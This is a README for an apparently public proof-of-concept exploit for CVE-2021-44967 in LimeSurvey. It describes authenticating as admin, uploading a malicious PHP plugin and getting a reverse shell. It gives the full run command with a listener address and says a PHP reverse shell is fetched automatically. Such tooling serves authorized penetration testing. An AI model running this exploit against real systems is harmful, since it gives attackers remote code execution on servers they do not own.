godylockz/cve-2021-44967Proof-of-concept exploit for CVE-2021-44967 enabling remote code execution in LimeSurvey 5.2.4 via malicious plugin upload, with reverse shell capability.
Proof of concept for CVE-2021-44967. The script authenticates to LimeSurvey, uploads and activates a PHP plugin, and triggers a reverse shell.
Use this only against systems you own or are authorized to test.
beautifulsoup4, netifaces, and requestsnc available in PATHCreate an isolated environment and install the Python packages:
python3 -m venv .venv
source .venv/bin/activate
python -m pip install beautifulsoup4 netifaces requests
python3 limesurvey_rce.py \
--url https://target.example \
--username admin \
--password 'password' \
--listen-ip tun0 \
--listen-port 4444
--listen-ip accepts an IPv4 address or interface name and defaults to tun0. If --file is omitted, the script downloads the Pentestmonkey PHP reverse shell and configures it with the listener address. Pass --file payload.php to supply a local PHP payload instead.
Run python3 limesurvey_rce.py --help for all options, including proxy and custom User-Agent settings.
The exploit was tested against LimeSurvey Community Edition 6.6.4. The CVE record describes the issue in LimeSurvey 5.2.4.